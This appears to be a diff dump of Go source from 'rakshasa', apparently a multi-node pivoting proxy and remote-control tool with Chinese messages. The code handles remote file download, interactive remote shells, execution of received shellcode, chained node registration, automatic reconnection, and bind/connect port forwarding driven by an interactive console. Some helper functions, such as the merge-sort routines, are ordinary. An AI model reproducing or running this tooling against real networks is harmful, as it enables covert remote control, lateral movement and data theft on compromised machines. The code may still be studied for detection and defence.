|
||||
if msg.CmdData[0] == 0 {
|
||||
|
||||
select {
|
||||
case v <- errors.New(string(msg.CmdData[1:])):
|
||||
default:
|
||||
}
|
||||
} else {
|
||||
size := int64(msg.CmdData[1]) | int64(msg.CmdData[2])<<8 | int64(msg.CmdData[3])<<16 | int64(msg.CmdData[4])<<24 | int64(msg.CmdData[5])<<32 | int64(msg.CmdData[6])<<40 | int64(msg.CmdData[7])<<48 | int64(msg.CmdData[8])<<56
|
||||
select {
|
||||
case v <- size:
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
case common.CMD_DOWNLOAD:
|
||||
i := bytes.IndexByte(msg.CmdData, 0)
|
||||
file := string(msg.CmdData[:i])
|
||||
offset := int64(msg.CmdData[i+1]) | int64(msg.CmdData[i+2])<<8 | int64(msg.CmdData[i+3])<<16 | int64(msg.CmdData[i+4])<<24 | int64(msg.CmdData[i+5])<<32 | int64(msg.CmdData[i+6])<<40 | int64(msg.CmdData[i+7])<<48 | int64(msg.CmdData[i+8])<<56
|
||||
var size int64
|
||||
if offset == -1 {
|
||||
s, err := os.Stat(file)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...))
|
||||
return
|
||||
}
|
||||
if s.IsDir() {
|
||||
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, file+"是一个目录 不可下载"...))
|
||||
return
|
||||
}
|
||||
size = s.Size()
|
||||
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, []byte{1, byte(size), byte(size >> 8), byte(size >> 16), byte(size >> 24), byte(size >> 32), byte(size >> 40), byte(size >> 48), byte(size >> 56)})
|
||||
}
|
||||
f, err := os.Open(file)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...))
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
f.Seek(offset, 0)
|
||||
|
||||
for i := 0; i < 10; i++ {
|
||||
buf := make([]byte, common.MAX_PACKAGE-1)
|
||||
num, err := f.Read(buf)
|
||||
if err != nil {
|
||||
if err == io.EOF {
|
||||
|
||||
return
|
||||
}
|
||||
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...))
|
||||
return
|
||||
}
|
||||
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{2}, buf[:num]...))
|
||||
}
|
||||
case common.CMD_DOWNLOAD_RESULT:
|
||||
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||
switch msg.CmdData[0] {
|
||||
case 0:
|
||||
select {
|
||||
case v <- errors.New(string(msg.CmdData[1:])):
|
||||
default:
|
||||
}
|
||||
case 1:
|
||||
size := int64(msg.CmdData[1]) | int64(msg.CmdData[2])<<8 | int64(msg.CmdData[3])<<16 | int64(msg.CmdData[4])<<24 | int64(msg.CmdData[5])<<32 | int64(msg.CmdData[6])<<40 | int64(msg.CmdData[7])<<48 | int64(msg.CmdData[8])<<56
|
||||
select {
|
||||
case v <- size:
|
||||
default:
|
||||
}
|
||||
case 2:
|
||||
select {
|
||||
case v <- msg.CmdData[1:]:
|
||||
default:
|
||||
}
|
||||
}
|
||||
}
|
||||
case common.CMD_SHELL:
|
||||
var param StartCmdParam
|
||||
if err = json.Unmarshal(msg.CmdData, ¶m); err != nil {
|
||||
n.Write(common.CMD_SHELL_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||
}
|
||||
if err := startCMD(n, msg.CmdId, param); err != nil {
|
||||
n.Write(common.CMD_SHELL_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||
}
|
||||
case common.CMD_SHELL_RESULT:
|
||||
|
||||
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||
|
||||
if msg.CmdData[0] == 0 {
|
||||
select {
|
||||
case v <- errors.New(string(msg.CmdData[1:])):
|
||||
default:
|
||||
}
|
||||
} else {
|
||||
select {
|
||||
case v <- msg.CmdData[1:]:
|
||||
|
||||
default:
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
case common.CMD_SHELL_DATA:
|
||||
|
||||
if v, ok := n.shellMap.Load(msg.CmdId); ok {
|
||||
cmd := v.(*remoteCmd)
|
||||
select {
|
||||
case cmd.inChan <- msg.CmdData:
|
||||
default:
|
||||
}
|
||||
}
|
||||
case common.CMD_RUN_SHELLCODE:
|
||||
go func() {
|
||||
var s ShellCodeStruct
|
||||
err = json.Unmarshal(msg.CmdData, &s)
|
||||
|
||||
if err != nil {
|
||||
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, []byte(err.Error()))
|
||||
}
|
||||
err = doShellcode(s)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, []byte(err.Error()))
|
||||
} else {
|
||||
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, nil)
|
||||
}
|
||||
}()
|
||||
|
||||
case common.CMD_RUN_SHELLCODE_RESULT:
|
||||
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||
var err error
|
||||
if len(msg.CmdData) > 0 {
|
||||
err = errors.New(string(msg.CmdData))
|
||||
}
|
||||
|
||||
select {
|
||||
case v <- err:
|
||||
default:
|
||||
}
|
||||
}
|
||||
default:
|
||||
if common.Debug {
|
||||
fmt.Println(msg.CmdOpteion, "协议错误")
|
||||
}
|
||||
|
||||
n.conn.Close("协议错误")
|
||||
|
||||
}
|
||||
}
|
||||
func (n *node) remoteReg(addr string) (newN *node, err error) {
|
||||
regmsg := common.RegMsg{
|
||||
Addr: currentNode.addr,
|
||||
RegAddr: addr,
|
||||
UUID: currentNode.uuid,
|
||||
MainIp: currentNode.mainIp,
|
||||
Port: currentNode.port,
|
||||
Goos: currentNode.goos,
|
||||
}
|
||||
regmsg.Hostname, _ = os.Hostname()
|
||||
b, _ := json.Marshal(regmsg)
|
||||
resChan := make(chan interface{}, 1)
|
||||
id := n.storeQuery(resChan)
|
||||
n.Write(common.CMD_REMOTE_REG, id, b)
|
||||
select {
|
||||
case i := <-resChan:
|
||||
n.deleteQuery(id)
|
||||
if v, ok := i.(error); ok {
|
||||
return nil, v
|
||||
}
|
||||
if v, ok := i.(*node); ok {
|
||||
return v, nil
|
||||
}
|
||||
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
n.deleteQuery(id)
|
||||
return nil, errors.New("time out")
|
||||
}
|
||||
return nil, errors.New("error result")
|
||||
}
|
||||
func (n *node) Close(reason string) {
|
||||
if n.conn != nil && n.conn.node.uuid == n.uuid {
|
||||
n.conn.close <- reason
|
||||
}
|
||||
n.Delete(reason)
|
||||
}
|
||||
func newNode(m nodeMsg, n *node) *node {
|
||||
_n := &node{
|
||||
uuid: m.UUID,
|
||||
hostName: m.HostName,
|
||||
addr: m.Addr,
|
||||
conn: n.conn,
|
||||
pongTime: time.Now().Unix(),
|
||||
mainIp: m.MainIp,
|
||||
port: m.Port,
|
||||
goos: m.Goos,
|
||||
}
|
||||
|
||||
return _n
|
||||
}
|
||||
func allNodesDo(f func(*node) (bool, error)) (err error) {
|
||||
var ok bool
|
||||
|
||||
l := clientLock.RLock()
|
||||
defer l.RUnlock()
|
||||
|
||||
for _, n := range nodeMap {
|
||||
if n.uuid != currentNode.uuid {
|
||||
func() {
|
||||
|
||||
l.RUnlock()
|
||||
defer clientLock.RLock(l)
|
||||
ok, err = f(n)
|
||||
}()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
func (n *node) ping(id uint32) {
|
||||
|
||||
l := clientLock.Lock()
|
||||
|
||||
defer func() {
|
||||
l.Unlock()
|
||||
}()
|
||||
now := time.Now()
|
||||
if n.pingTime > n.pongTime {
|
||||
if common.Debug {
|
||||
fmt.Println(time.Now().Format("2006-01-02 15:04:05"), n.uuid, "超时")
|
||||
}
|
||||
if n.conn != nil && n.conn.node.uuid == n.uuid {
|
||||
n.conn.Close("超时关闭")
|
||||
}
|
||||
n.Delete("超时关闭")
|
||||
//尝试重连
|
||||
|
||||
go func() {
|
||||
if !currentConfig.Limit && len(n.mainIp) > 0 {
|
||||
for _, addr := range n.mainIp {
|
||||
_n, _ := connectNew(fmt.Sprintf("%s:%d", addr, n.port))
|
||||
if _n != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
return
|
||||
}
|
||||
n.pingTime = now.Unix()
|
||||
if n.pongTime == 0 {
|
||||
n.pongTime = n.pingTime
|
||||
}
|
||||
|
||||
pingdata := make([]byte, 8)
|
||||
pingdata[0] = byte(n.pingTime & 255)
|
||||
pingdata[1] = byte(n.pingTime >> 8 & 255)
|
||||
pingdata[2] = byte(n.pingTime >> 16 & 255)
|
||||
pingdata[3] = byte(n.pingTime >> 24 & 255)
|
||||
pingdata[4] = byte(n.pingTime >> 32 & 255)
|
||||
pingdata[5] = byte(n.pingTime >> 40 & 255)
|
||||
pingdata[6] = byte(n.pingTime >> 48 & 255)
|
||||
pingdata[7] = byte(n.pingTime >> 56 & 255)
|
||||
msg := &common.Msg{
|
||||
From: currentNode.uuid,
|
||||
To: n.uuid,
|
||||
CmdOpteion: common.CMD_PING,
|
||||
CmdId: id,
|
||||
CmdData: pingdata,
|
||||
}
|
||||
n.WriteMsg(msg)
|
||||
|
||||
n.listenMap.Range(func(key, value interface{}) bool {
|
||||
switch v := value.(type) {
|
||||
case *serverListen:
|
||||
msg.CmdOpteion = common.CMD_PING_LISTEN
|
||||
msg.CmdData = nil
|
||||
n.WriteMsg(msg)
|
||||
case *clientListen:
|
||||
msg.CmdOpteion = common.CMD_PING_LISTEN
|
||||
msg.CmdData = nil
|
||||
v.server.WriteMsg(msg)
|
||||
}
|
||||
|
||||
return true
|
||||
})
|
||||
}
|
||||
func (n *node) Delete(reason string) {
|
||||
go func() {
|
||||
l := clientLock.Lock()
|
||||
_, ok := nodeMap[n.uuid]
|
||||
if ok {
|
||||
delete(nodeMap, n.uuid)
|
||||
}
|
||||
l.Unlock()
|
||||
n.connMap.Range(func(key, value interface{}) bool {
|
||||
if v, ok := value.(common.Conn); ok {
|
||||
v.Close(reason)
|
||||
}
|
||||
n.connMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
n.udpConnMap.Range(func(key, value interface{}) bool {
|
||||
if v, ok := value.(common.Conn); ok {
|
||||
v.Close(reason)
|
||||
}
|
||||
n.udpConnMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
n.listenMap.Range(func(key, value interface{}) bool {
|
||||
|
||||
if v, ok := value.(*serverListen); ok {
|
||||
v.listen.Close()
|
||||
}
|
||||
n.listenMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
n.shellMap.Range(func(key, value interface{}) bool {
|
||||
v := value.(*remoteCmd)
|
||||
if v.cmd != nil {
|
||||
v.cmd.Process.Kill()
|
||||
}
|
||||
n.shellMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
}()
|
||||
|
||||
}
|
||||
func (n *node) broadcastNode() {
|
||||
//广播新增节点
|
||||
nmsg := nodeMsg{
|
||||
UUID: n.uuid,
|
||||
HostName: n.hostName,
|
||||
Addr: n.addr,
|
||||
MainIp: n.mainIp,
|
||||
Port: n.port,
|
||||
Goos: n.goos,
|
||||
}
|
||||
b, _ := json.Marshal(nmsg)
|
||||
writemsg := &common.Msg{
|
||||
From: currentNode.uuid,
|
||||
To: common.BroadcastUUID.String(),
|
||||
CmdData: append([]byte{common.CMD_ADD_NODE, 0, 0}, b...),
|
||||
}
|
||||
go allNodesDo(func(_n *node) (bool, error) {
|
||||
|
||||
if _n.uuid != currentNode.uuid {
|
||||
|
||||
_n.WriteMsg(writemsg)
|
||||
}
|
||||
return true, nil
|
||||
})
|
||||
}
|
||||
|
||||
func GetNodeFromAddrs(dst []string) (n *node, err error) {
|
||||
if len(dst) == 0 {
|
||||
return nil, errors.New("参数错误,目标节点为空")
|
||||
}
|
||||
if n, err = getNode(dst[0]); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
for i := 1; i < len(dst); i++ {
|
||||
n, err = n.remoteReg(dst[i])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
if n == nil {
|
||||
return nil, fmt.Errorf("无法连接 %v", dst)
|
||||
}
|
||||
if n.uuid == currentNode.uuid {
|
||||
return nil, errors.New("不能连接自己")
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 储存并返回id
|
||||
func (n *node) storeQuery(v chan interface{}) (newID uint32) {
|
||||
|
||||
for {
|
||||
newID = common.GetConnID()
|
||||
if newID == 0 {
|
||||
continue
|
||||
}
|
||||
if _, ok := n.queryMap.LoadOrStore(newID, v); !ok {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
func (n *node) loadQuery(id uint32) (v chan interface{}, ok bool) {
|
||||
value, ok := n.queryMap.Load(id)
|
||||
if ok {
|
||||
v = value.(chan interface{})
|
||||
}
|
||||
return v, ok
|
||||
}
|
||||
func (n *node) deleteQuery(id uint32) {
|
||||
n.queryMap.Delete(id)
|
||||
}
|
||||
func (n *node) storeConn(v common.Conn) (newID uint32) {
|
||||
|
||||
for {
|
||||
newID = common.GetConnID()
|
||||
if newID == 0 {
|
||||
continue
|
||||
}
|
||||
if _, ok := n.connMap.LoadOrStore(newID, v); !ok {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
func (n *node) writeGetNodeResult(id uint32) {
|
||||
l := clientLock.RLock()
|
||||
|
||||
defer l.RUnlock()
|
||||
|
||||
var s []nodeMsg
|
||||
|
||||
for _, _n := range nodeMap {
|
||||
if _n.uuid != currentNode.uuid {
|
||||
s = append(s, nodeMsg{
|
||||
UUID: _n.uuid,
|
||||
HostName: _n.hostName,
|
||||
Addr: _n.addr,
|
||||
MainIp: _n.mainIp,
|
||||
Port: _n.port,
|
||||
Goos: _n.goos,
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
b, _ := json.Marshal(s)
|
||||
n.Write(common.CMD_GET_NODE_RESULT, id, b)
|
||||
}
|
||||
+228
@@ -0,0 +1,228 @@
|
||||
package server
|
||||
|
||||
import "strings"
|
||||
|
||||
func orderNode(list []*node) {
|
||||
f := func(a, b *node) bool {
|
||||
if strings.Contains(a.addr, "(localhost)") {
|
||||
return true
|
||||
} else if strings.Contains(b.addr, "(localhost)") {
|
||||
return false
|
||||
}
|
||||
return a.uuid < b.uuid
|
||||
}
|
||||
max_len := len(list)
|
||||
tmp := make([]*node, max_len)
|
||||
for i := 0; i < max_len-max_len&1; i += 2 {
|
||||
if f(list[i+1], list[i]) {
|
||||
list[i], list[i+1] = list[i+1], list[i]
|
||||
}
|
||||
|
||||
}
|
||||
for i := 0; i < max_len-max_len&3; i += 4 {
|
||||
if f(list[i+2], list[i]) {
|
||||
list[i], list[i+2] = list[i+2], list[i]
|
||||
}
|
||||
if f(list[i+3], list[i+1]) {
|
||||
list[i+1], list[i+3] = list[i+3], list[i+1]
|
||||
}
|
||||
if f(list[i+2], list[i+1]) {
|
||||
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||
}
|
||||
|
||||
}
|
||||
if max_len&3 == 3 {
|
||||
i := max_len - 3
|
||||
if f(list[i+2], list[i]) {
|
||||
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||
list[i], list[i+1] = list[i+1], list[i]
|
||||
} else if f(list[i+2], list[i+1]) {
|
||||
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||
}
|
||||
}
|
||||
var step, l, max, r int
|
||||
step = 4
|
||||
for step < max_len {
|
||||
step <<= 1
|
||||
for i := 0; i < max_len; i += step {
|
||||
l, r, max = i, i+step/2, i+step
|
||||
if max > max_len {
|
||||
max = max_len
|
||||
}
|
||||
for index := i; index < max; index++ {
|
||||
if l == step/2+i || (r < max && f(list[r], list[l])) {
|
||||
tmp[index] = list[r]
|
||||
r++
|
||||
} else {
|
||||
tmp[index] = list[l]
|
||||
l++
|
||||
}
|
||||
}
|
||||
}
|
||||
if step < max_len {
|
||||
for i := 0; i < max_len; i += step {
|
||||
l, r, max = i, i+step/2, i+step
|
||||
if max > max_len {
|
||||
max = max_len
|
||||
}
|
||||
for index := i; index < max; index++ {
|
||||
if l == step/2+i || (r < max && f(tmp[r], tmp[l])) {
|
||||
list[index] = tmp[r]
|
||||
r++
|
||||
} else {
|
||||
list[index] = tmp[l]
|
||||
l++
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
copy(list, tmp)
|
||||
}
|
||||
}
|
||||
}
|
||||
func orderClientListen(list []*clientListen) {
|
||||
f := func(a, b *clientListen) bool {
|
||||
return a.id < b.id
|
||||
}
|
||||
max_len := len(list)
|
||||
tmp := make([]*clientListen, max_len)
|
||||
for i := 0; i < max_len-max_len&1; i += 2 {
|
||||
if f(list[i+1], list[i]) {
|
||||
list[i], list[i+1] = list[i+1], list[i]
|
||||
}
|
||||
|
||||
}
|
||||
for i := 0; i < max_len-max_len&3; i += 4 {
|
||||
if f(list[i+2], list[i]) {
|
||||
list[i], list[i+2] = list[i+2], list[i]
|
||||
}
|
||||
if f(list[i+3], list[i+1]) {
|
||||
list[i+1], list[i+3] = list[i+3], list[i+1]
|
||||
}
|
||||
if f(list[i+2], list[i+1]) {
|
||||
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||
}
|
||||
|
||||
}
|
||||
if max_len&3 == 3 {
|
||||
i := max_len - 3
|
||||
if f(list[i+2], list[i]) {
|
||||
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||
list[i], list[i+1] = list[i+1], list[i]
|
||||
} else if f(list[i+2], list[i+1]) {
|
||||
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||
}
|
||||
}
|
||||
var step, l, max, r int
|
||||
step = 4
|
||||
for step < max_len {
|
||||
step <<= 1
|
||||
for i := 0; i < max_len; i += step {
|
||||
l, r, max = i, i+step/2, i+step
|
||||
if max > max_len {
|
||||
max = max_len
|
||||
}
|
||||
for index := i; index < max; index++ {
|
||||
if l == step/2+i || (r < max && f(list[r], list[l])) {
|
||||
tmp[index] = list[r]
|
||||
r++
|
||||
} else {
|
||||
tmp[index] = list[l]
|
||||
l++
|
||||
}
|
||||
}
|
||||
}
|
||||
if step < max_len {
|
||||
for i := 0; i < max_len; i += step {
|
||||
l, r, max = i, i+step/2, i+step
|
||||
if max > max_len {
|
||||
max = max_len
|
||||
}
|
||||
for index := i; index < max; index++ {
|
||||
if l == step/2+i || (r < max && f(tmp[r], tmp[l])) {
|
||||
list[index] = tmp[r]
|
||||
r++
|
||||
} else {
|
||||
list[index] = tmp[l]
|
||||
l++
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
copy(list, tmp)
|
||||
}
|
||||
}
|
||||
}
|
||||
func orderHttpProxy(list []*httpProxyClient) {
|
||||
f := func(a, b *httpProxyClient) bool {
|
||||
return a.id < b.id
|
||||
}
|
||||
max_len := len(list)
|
||||
tmp := make([]*httpProxyClient, max_len)
|
||||
for i := 0; i < max_len-max_len&1; i += 2 {
|
||||
if f(list[i+1], list[i]) {
|
||||
list[i], list[i+1] = list[i+1], list[i]
|
||||
}
|
||||
|
||||
}
|
||||
for i := 0; i < max_len-max_len&3; i += 4 {
|
||||
if f(list[i+2], list[i]) {
|
||||
list[i], list[i+2] = list[i+2], list[i]
|
||||
}
|
||||
if f(list[i+3], list[i+1]) {
|
||||
list[i+1], list[i+3] = list[i+3], list[i+1]
|
||||
}
|
||||
if f(list[i+2], list[i+1]) {
|
||||
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||
}
|
||||
|
||||
}
|
||||
if max_len&3 == 3 {
|
||||
i := max_len - 3
|
||||
if f(list[i+2], list[i]) {
|
||||
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||
list[i], list[i+1] = list[i+1], list[i]
|
||||
} else if f(list[i+2], list[i+1]) {
|
||||
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||
}
|
||||
}
|
||||
var step, l, max, r int
|
||||
step = 4
|
||||
for step < max_len {
|
||||
step <<= 1
|
||||
for i := 0; i < max_len; i += step {
|
||||
l, r, max = i, i+step/2, i+step
|
||||
if max > max_len {
|
||||
max = max_len
|
||||
}
|
||||
for index := i; index < max; index++ {
|
||||
if l == step/2+i || (r < max && f(list[r], list[l])) {
|
||||
tmp[index] = list[r]
|
||||
r++
|
||||
} else {
|
||||
tmp[index] = list[l]
|
||||
l++
|
||||
}
|
||||
}
|
||||
}
|
||||
if step < max_len {
|
||||
for i := 0; i < max_len; i += step {
|
||||
l, r, max = i, i+step/2, i+step
|
||||
if max > max_len {
|
||||
max = max_len
|
||||
}
|
||||
for index := i; index < max; index++ {
|
||||
if l == step/2+i || (r < max && f(tmp[r], tmp[l])) {
|
||||
list[index] = tmp[r]
|
||||
r++
|
||||
} else {
|
||||
list[index] = tmp[l]
|
||||
l++
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
copy(list, tmp)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,325 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"hash/crc32"
|
||||
"net"
|
||||
"rakshasa/common"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/luyu6056/ishell"
|
||||
)
|
||||
|
||||
var (
|
||||
// clientListenMap = make(map[uint32]*remoteListen)
|
||||
// connectMap = make(map[uint32]*rawConnect)
|
||||
)
|
||||
|
||||
type clientListen struct {
|
||||
id uint32
|
||||
localAddr string
|
||||
remoteAddr string
|
||||
server *node
|
||||
typ string
|
||||
openOption byte
|
||||
openMsg []byte //掉线重连会用到
|
||||
connMap sync.Map //clientListen关闭的时候关掉这里的id
|
||||
listen net.Listener
|
||||
result chan interface{}
|
||||
}
|
||||
|
||||
func StartRawBind(str string, dst []string) error {
|
||||
n, err := GetNodeFromAddrs(dst)
|
||||
if err != nil {
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
addrs, err := common.ResolveTCPAddr(str)
|
||||
if err != nil {
|
||||
|
||||
return err
|
||||
}
|
||||
if len(addrs) != 2 {
|
||||
return errors.New("参数错误,格式为ip:port,remote_ip:remote_port")
|
||||
}
|
||||
|
||||
l := &clientListen{
|
||||
id: common.GetID(),
|
||||
localAddr: addrs[0],
|
||||
remoteAddr: addrs[1],
|
||||
server: n,
|
||||
typ: "bind",
|
||||
result: make(chan interface{}),
|
||||
openOption: common.CMD_LISTEN,
|
||||
}
|
||||
l.openMsg = []byte(addrs[1])
|
||||
currentNode.listenMap.Store(l.id, l)
|
||||
n.Write(l.openOption, l.id, l.openMsg)
|
||||
select {
|
||||
case res := <-l.result:
|
||||
|
||||
if err, ok := res.(error); ok {
|
||||
l.Close(remoteClose)
|
||||
currentNode.listenMap.Delete(l.id)
|
||||
return err
|
||||
}
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
l.Close(remoteClose)
|
||||
currentNode.listenMap.Delete(l.id)
|
||||
return fmt.Errorf("listen %s fail time out", addrs[1])
|
||||
|
||||
}
|
||||
fmt.Println("bind 启动成功")
|
||||
//l := clientLock.Lock()
|
||||
|
||||
//clientListenMap[b.id] = b
|
||||
//l.Unlock()
|
||||
return nil
|
||||
}
|
||||
func StartRawConnect(str string, n *node) error {
|
||||
addrs, err := common.ResolveTCPAddr(str)
|
||||
if len(addrs) != 2 || err != nil {
|
||||
return errors.New("-connect参数错误,格式为ip:port,remote_ip:remote_port")
|
||||
}
|
||||
|
||||
addr1, _ := net.ResolveTCPAddr("tcp", addrs[1])
|
||||
listen, err := net.Listen("tcp", addrs[0])
|
||||
if err != nil {
|
||||
return errors.New("监听本地端口" + addrs[0] + "失败 " + err.Error())
|
||||
}
|
||||
|
||||
l := &clientListen{
|
||||
id: common.GetID(),
|
||||
localAddr: addrs[0],
|
||||
remoteAddr: addrs[1],
|
||||
listen: listen,
|
||||
server: n,
|
||||
typ: "connect",
|
||||
}
|
||||
currentNode.listenMap.Store(l.id, l)
|
||||
|
||||
go func() {
|
||||
for {
|
||||
conn, err := listen.Accept()
|
||||
if err != nil {
|
||||
if err.(*net.OpError).Err == net.ErrClosed {
|
||||
return
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
s := &clientConnect{
|
||||
conn: conn,
|
||||
server: n,
|
||||
}
|
||||
s.OnOpened()
|
||||
s.connect(common.RAW_TCP, addr1.IP.String(), uint16(addr1.Port))
|
||||
go rawHandleLocal(s)
|
||||
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
func (l *clientListen) Close(reason string) {
|
||||
l.connMap.Range(func(key, value interface{}) bool {
|
||||
value.(*clientConnect).Close(reason)
|
||||
l.connMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
l.server.listenMap.Delete(l.id)
|
||||
if l.listen != nil {
|
||||
l.listen.Close()
|
||||
}
|
||||
}
|
||||
|
||||
func rawHandleLocal(s *clientConnect) {
|
||||
buf := make([]byte, common.MAX_PLAINTEXT)
|
||||
|
||||
for {
|
||||
n, err := s.conn.Read(buf[8:])
|
||||
if err != nil {
|
||||
|
||||
s.Close(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
var new_size int64
|
||||
if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口
|
||||
atomic.AddInt64(&s.windowsSize, new_size)
|
||||
|
||||
} else {
|
||||
new_size = 0
|
||||
}
|
||||
buf[0] = byte(new_size)
|
||||
buf[1] = byte(new_size >> 8)
|
||||
buf[2] = byte(new_size >> 16)
|
||||
buf[3] = byte(new_size >> 24)
|
||||
buf[4] = byte(new_size >> 32)
|
||||
buf[5] = byte(new_size >> 40)
|
||||
buf[6] = byte(new_size >> 48)
|
||||
buf[7] = byte(new_size >> 56)
|
||||
if common.Debug {
|
||||
fmt.Println("发送", crc32.ChecksumIEEE(buf[8:8+n]), n)
|
||||
}
|
||||
data := make([]byte, 8+n)
|
||||
copy(data, buf)
|
||||
s.server.Write(common.CMD_CONN_MSG, s.id, buf)
|
||||
}
|
||||
}
|
||||
func init() {
|
||||
bindshell := cliInit()
|
||||
bindshell.SetPrompt("rakshasa\\bind>")
|
||||
bindshell.AddCmd(&ishell.Cmd{
|
||||
Name: "list",
|
||||
Help: "列出当前连接的ID和其他信息",
|
||||
Func: func(c *ishell.Context) {
|
||||
var list []*clientListen
|
||||
currentNode.listenMap.Range(func(key, value interface{}) bool {
|
||||
if v, ok := value.(*clientListen); ok {
|
||||
if v.typ == "bind" {
|
||||
list = append(list, v)
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
orderClientListen(list)
|
||||
fmt.Println("当前连接数量:", len(list))
|
||||
for _, v := range list {
|
||||
fmt.Println("ID", v.id, "本地端口", v.localAddr, "远程端口", v.remoteAddr, "服务器uuid", v.server.uuid)
|
||||
}
|
||||
},
|
||||
})
|
||||
bindshell.AddCmd(&ishell.Cmd{
|
||||
Name: "new-bind",
|
||||
Help: "新建一个本地bind,使用方法 new-bind ip:port,remote_ip:remote_port 目标服务器 如 new-bind 192.168.1.180:8808,0.0.0.0:8808 192.168.1.2:1081",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 2 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
|
||||
if err := StartRawBind(c.Args[0], strings.Split(c.Args[1], ",")); err != nil {
|
||||
c.Println("启动bind失败", err)
|
||||
|
||||
}
|
||||
},
|
||||
})
|
||||
bindshell.AddCmd(&ishell.Cmd{
|
||||
Name: "close",
|
||||
Help: "关闭一个bind连接,使用方法 close ID",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,例子 close 1")
|
||||
return
|
||||
}
|
||||
id, _ := strconv.Atoi(c.Args[0])
|
||||
var l *clientListen
|
||||
if value, ok := currentNode.listenMap.Load(uint32(id)); ok {
|
||||
if v, ok := value.(*clientListen); ok && v.typ == "bind" {
|
||||
l = v
|
||||
}
|
||||
|
||||
}
|
||||
if l == nil {
|
||||
c.Println("没有找到ID为", id, "的连接")
|
||||
} else {
|
||||
l.Close("命令行关闭")
|
||||
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
|
||||
currentNode.listenMap.Delete(uint32(id))
|
||||
|
||||
}
|
||||
},
|
||||
})
|
||||
|
||||
rootCli.AddCmd(&ishell.Cmd{
|
||||
Name: "bind",
|
||||
Help: "进入bind功能",
|
||||
Func: func(c *ishell.Context) {
|
||||
bindshell.Run()
|
||||
},
|
||||
})
|
||||
connectshell := ishell.New()
|
||||
connectshell.SetPrompt("rakshasa\\connect>")
|
||||
connectshell.AddCmd(&ishell.Cmd{
|
||||
Name: "list",
|
||||
Help: "列出当前连接的ID和其他信息",
|
||||
Func: func(c *ishell.Context) {
|
||||
var list []*clientListen
|
||||
currentNode.listenMap.Range(func(key, value interface{}) bool {
|
||||
if v, ok := value.(*clientListen); ok {
|
||||
if v.typ == "connect" {
|
||||
list = append(list, v)
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
orderClientListen(list)
|
||||
fmt.Println("当前连接数量:", len(list))
|
||||
for _, v := range list {
|
||||
fmt.Println("ID", v.id, "本地端口", v.localAddr, "远程端口", v.remoteAddr, "服务器uuid", v.server.uuid)
|
||||
}
|
||||
|
||||
},
|
||||
})
|
||||
